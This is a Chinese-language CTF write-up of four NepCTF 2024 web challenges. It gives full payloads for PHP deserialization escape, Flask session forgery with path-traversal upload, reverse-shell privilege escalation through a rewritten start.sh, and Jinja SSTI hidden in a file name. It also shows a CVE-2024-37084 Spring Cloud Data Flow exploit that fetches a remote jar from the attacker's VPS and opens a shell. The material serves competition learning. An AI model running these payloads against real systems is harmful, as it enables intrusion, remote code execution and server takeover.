NepCTF 2024(WEB)
1315609050541697 发表于 湖北 CTF 545浏览 · 2024-09-05 04:47

PHP_MASTER!!

源码如下

<?php
highlight_file( __FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class A{

    public $key;
    public function readflag(){

        if($this->key=== "\0key\0"){
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);
        }
    }
}




class B

{
    public $b;
    public function __tostring()
    {
        if(preg_match("/\[|\]/i", $_GET['nep'])){
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }
    }
}

class C

{
    public $s;
    public $str;
    public function __construct($s)
    {
        $this->s = $s;
    }
    public function __destruct()
    {
        echo $this ->str;
    }
}

$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

考察
php反序列化数组调用方法特性,字符增多逃逸,以及十六进制绕过

<?php
class A {
    public $key;
    public function readflag() {
        if ($this->key === "\0key\0") {
            readfile('/flag');
        }
        var_dump("abc");
    }
}

class B {
    public $b;
    public function __toString() {
        return ($this->b)();
    }
}



class C {
    public $s;
    public $str;
    public function __construct($s) {
        $this->s = $s;
    }
    public function __destruct() {
        echo $this->str;
    }
}




$key = new A();
$key->key = "\\\0key\\\0";
$f = array(unserialize(serialize($key)), 'readflag');
$reflection=new B();
$reflection->b=$f;
$payload_str = '";s:3:"str";' . serialize($reflection) . ';}';
$obj_len = strlen($payload_str);

//echo "Length: " . $obj_len;

$add_str = "";

for ($i=0;$i<$obj_len;$i++) $add_str = $add_str . "\0";

//echo "<br>\n";

echo urlencode("1" . $add_str . str_replace('key";s:7:', 'key";S:5:', $payload_str));

//1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00"%3Bs%3A3%3A"str"%3BO%3A1%3A"B"%3A1%3A%7Bs%3A1%3A"b"%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A"A"%3A1%3A%7Bs%3A3%3A"key"%3BS%3A5%3A"%5C%00key%5C%00"%3B%7Di%3A1%3Bs%3A8%3A"readflag"%3B%7D%7D%3B%7D

?>

post传参filter-chaain打文件包含

payload如下

https://neptune-50558.nepctf.lemonprefect.cn/?c=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22key%22%3BS%3A5%3A%22%5C%00key%5C%00%22%3B%7Di%3A1%3Bs%3A8%3A%22readflag%22%3B%7D%7D%3B%7D&nep1=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0&nep=aaNep

post传参 filter-chain结果

蹦蹦炸弹

源代码如下

from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess

(pubkey, privkey) = rsa.newkeys(2048)

app = Flask(__name__)
app.secret_key = "super_secret_key"



UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == users.get('admin', {}).get('password'):
            session['admin_logged_in'] = True
            return redirect(url_for('admin_dashboard'))
        else:
            return "Invalid credentials", 401
    return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
    if not session.get('admin_logged_in'):
        return redirect(url_for('admin'))

    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

    cmd_output = ""
    if 'cmd' in request.args:
        if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
            cmd = request.args.get('cmd')
            try:
                cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
            except Exception as e:
                cmd_output = str(e)
        else:
            cmd_output = "lock.txt not found. Command execution not allowed."
    return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


@app.route('/admin/logout')
def admin_logout():
    session.pop('admin_logged_in', None)
    return redirect(url_for('index'))

# Generate random users
def generate_random_users(n):
    users = {}
    for _ in range(n):
        username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        users[username] = {"password": password, "balance": 2000}
    return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password  # The flag is the password of the admin user
mutex = threading.Lock()
#通常会结合 acquire() 和 release() 方法来使用:

#acquire(): 锁定资源,如果资源已经被其他线程锁定,则当前线程会阻塞等待直到资源可用。

@app.route('/')
def index():
    if "username" in session:
        return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
    return render_template("index.html", logged_in=False)

@app.route('/reset', methods=['GET'])
def reset():
    global users
    users = {}  # Clear all existing users
    users = generate_random_users(1000)
    users["HRP"] = {"password": "HRP", "balance": 6000}
    global admin_password
    admin_password={}
    global flag
    # Add an admin user with a random password
    admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
    flag=admin_password

    users["admin"] = {"password": admin_password, "balance": 0}

    return redirect(url_for('index'))


@app.route('/login', methods=["POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username in users and users[username]["password"] == password:
        session["username"] = username
        return redirect(url_for('index'))
    return "Invalid credentials", 403

@app.route('/logout')
def logout():
    session.pop("username", None)
    return redirect(url_for('index'))


def log_transfer(sender, receiver, amount):
    def encrypt_data_with_rsa(data, pubkey):
        for _ in range(200):  # Encrypt the data multiple times
            encrypted_data = rsa.encrypt(data.encode(), pubkey)
        return encrypted_data.hex()

    timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')

    # Encrypt the amount and timestamp
    encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
    encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)

    log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"

    for _ in range(1): 
        log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
        log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
        log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
        log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
        log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
        log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
        log_data += "-"*50 + "\n"

    with open('transfer_log.txt', 'a') as f:
        f.write(log_data)


@app.route('/transfer', methods=["POST"])
def transfer():
    if "username" not in session:
        return "Not logged in", 403

    receivers = request.form.getlist("receiver")
    amount = int(request.form.get("amount"))
    if amount <0:
        return "Insufficient funds", 400
    logging_enabled = request.form.get("logs", "false").lower() == "true"

    if session["username"] in receivers:
        return "Cannot transfer to self", 400

    for receiver in receivers:
        if receiver not in users:
            return f"Invalid user {receiver}", 400

    total_amount = amount * len(receivers)
    if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            #互斥锁
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400


@app.route('/buy_flag')
def buy_flag():
    if "username" not in session:
        return "Not logged in", 403

    if users[session["username"]]["balance"] >= flag_price:
        users[session["username"]]["balance"] -= flag_price
        return f"Here is your flag: {flag}"
    return "Insufficient funds", 400

@app.route('/get_users', methods=["GET"])
def get_users():
    num = int(request.args.get('num', 1000))
    selected_users = random.sample(list(users.keys()), num)
    return {"users": selected_users}

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
    if username in users:
        return {"username": username, "balance": users[username]["balance"]}
    return "User not found", 404

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
    if "username" not in session or session["username"] != "HRP":
        return "Permission denied", 403

    target_user = request.form.get("target_user")
    if target_user not in users:
        return "User not found", 404

    if users[target_user]["balance"] >= flag_price:
        users[target_user]["balance"] -= flag_price
        return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
    return f"User {target_user} does not have sufficient funds", 400


if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=False)

审计代码发现,在转钱功能处使用了互斥锁来防止资源竞争此方法行不通

if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            #互斥锁
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400

发现给了session的加密key使用脚本伪造session

还需要上传文件lock.txt到os.path目录下才能命令执行,构造文件名称../../lock.txt
脚本如下

import os
import requests
# 服务器的上传接口 URL
url = "https://neptune-59504.nepctf.lemonprefect.cn/admin/dashboard"
#本地文件路径
file_path = "C:\\Users\\86150\\Desktop\\lock.txt"
cookies = {
    'session': 'eyJhZG1pbl9sb2dnZWRfaW4iOnRydWV9.ZsrgRQ.uhMC7N3QWWxZfYzQ8TPV3rqVr9k',
}
#
构建文件字典
files = {
    'file': ('../../lock.txt', open(file_path, 'rb')),
}
#发送 POST 请求
response = requests.post(url, files = files, cookies = cookies)# response =
    requests.get(url, cookies = cookies)# 输出响应
print(response.text)

进入admin路由进行命令执行反弹shell到公网服务器
这个题目难点在于最后的提权,发现start.sh可写可读,我们可以重写start.sh

echo '#!/bin/bash' > start.sh
echo "bash -i >& /dev/tcp/ip/8999 0>&1" >> start.sh

然后通过让系统崩溃重启来反弹root权限到我们vps上即可完成提权!

找到root进程的配置文件pwnserver

ps -axu

通过将文件内容发送到pwnserver的端口数据占用打崩系统,系统重启

nc 127.0.0.1 8888 < /etc/passwd

成功反弹shell提权

Nepdouble

源代码如下:

from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader



app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER


if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)


template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):

    template = template_env.get_template(template_name)

    return template.render(**context)


def render_template_string(template_string, **context):

    template = template_env.from_string(template_string)

    return template.render(**context)



@app.route('/', methods=['GET', 'POST'])

def main():

    if request.method != "POST":

        return 'Please use POST method to upload files.'



    try:
        clear_uploads_folder()
        files = request.files.get('tp_file', None)
        if not files:
            return 'No file uploaded.'
        file_size = len(files.read())
        files.seek(0)

        file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'


        timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')

        md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
        #解压到的文件夹路径 是  ,/upload/md5
        unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
        os.makedirs(unzip_folder, exist_ok=True)
#将文件解压到指定路径  /upload/md5
        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)


        files_list = []

        for root, dirs, files in os.walk(unzip_folder):
            #当前正在遍历的文件夹路径   root下所有子文件夹 root文件夹下所有文件
            for file in files:
                print(file)
                #拼接文件路径造成漏洞
                file_path = os.path.join(root, file)
                ##相对路径
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)


        return render_template_string('<br>'.join(files_list))


    except ValueError:
        return 'Invalid filename.'
    except Exception as e:
        return 'An error occurred. Please check your file and try again.'




@app.route('/cat')
def cat():
    file_path = request.args.get('file')
    if not file_path:
        return 'File path is missing.'



    new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)

    if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):

        return 'Invalid file path.'



    if os.path.islink(new_file):

        return 'Symbolic links are not allowed.'

    try:

        filename = file_path.split('/')[-1]
        content = read_large_file(new_file)
        return render_template('test.html',content=content,filename=filename,dates=Exec_date())
    except FileNotFoundError:
        return 'File not found.'
    except IOError as e:
        return f'Error reading file: {str(e)}'



def Exec_date():
    d_res = os.popen('date').read()
    return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]


def clear_uploads_folder():

    for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
        for file in files:
            os.remove(os.path.join(root, file))
        for dir in dirs:
            os.rmdir(os.path.join(root, dir))


def read_large_file(file_path):
    content = ''
    with open(file_path, 'r') as file:
        for line in file:
            content += line
    return content


if __name__ == '__main__':

    app.run('0.0.0.0',port="8000",debug=False)

审计代码发现 文件上传处ssti漏洞,我们可以直接用payload:

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

难点在于在 Linux 中,文件名不能包含斜杠 /。这是因为斜杠在 Linux 文件系统中用作目录分隔符。因此,文件名中无法直接包含 /

而对于() [] 空格 {} + ' "直接使用转移符号就可以
编写脚本用八进制来绕过

import os
def escape_string(s):

    # 定义要转义的字符
    replacements = {
        '{': r'\{',
        '}': r'\}',
        '[': r'\[',
        ']': r'\]',
        '(': r'\(',
        ')': r'\)',
        "'": r"\'",
        '"': r'\"',
        '+':r'\+',
    }

    # 替换字符串中的特殊字符
    for char, replacement in replacements.items():

        s = s.replace(char, replacement)

    return s

# 原始字符串

original_string = """{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat'+'\\\\40'+'\\\\57'+'\\\\146'+'\\\\52').read()")}}"""

# 转义字符串
escaped_string = escape_string(original_string)
print(escaped_string)

创建文件并压缩

touch \{\{config\.__init__\.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\)\.popen\(\'cat\'\+\'\\40\'\+\'\\57\'\+\'\\146\'\+\'\\52\'\)\.read\(\)\"\)\}\}

zip 4.zip \{\{config\.__init__\.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\)\.popen\(\'cat\'\+\'\\40\'\+\'\\57\'\+\'\\146\'\+\'\\52\'\)\.read\(\)\"\)\}\}

编写上传文件脚本

import requests

url="https://neptune-40822.nepctf.lemonprefect.cn/"

file_path = "4.zip"

with open(file_path, 'rb') as file:

    files={'tp_file':file}
    response = requests.post(url, files=files)
    print(response.text)

得到flag

Always RCE First

CVE-2024-37084
参考链接:奇安信攻防社区-Spring Cloud Data Flow 漏洞分析(CVE-2024-22263|CVE-2024-37084) (butian.net)

按照该链接的方法一步一步复现CVE

  • 首先创建一个文件夹test-1.1.1,注意文件名字和version,然后再在该文件夹下放入package.yaml文件

使用工具:artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)

需要修改package.yaml中url为vps上的yaml-payload.jar

apiVersion: 1.0.0
origin: my origin
repositoryId: 12345
repositoryName: local
kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps:ip/yaml-payload.jar"]]]]
name: test
version: 1.1.1

AwesomeScriptEngineFactory.java

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,  xxx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

接着将test-1.1.1文件夹压缩成test-1.1.1.zip,利用python脚本得到packageFileAsBytes

python zip压缩包包转字节列表

def zip_to_byte_list(zip_file_path):
    with open(zip_file_path, 'rb') as file:
        byte_content = file.read()

    byte_list = list(byte_content)
    return byte_list

发送请求之后就可以在vps中得到shell

参考链接:奇安信攻防社区-Spring Cloud Data Flow 漏洞分析(CVE-2024-22263|CVE-2024-37084) (butian.net)

0 条评论
某人
表情
可输入 255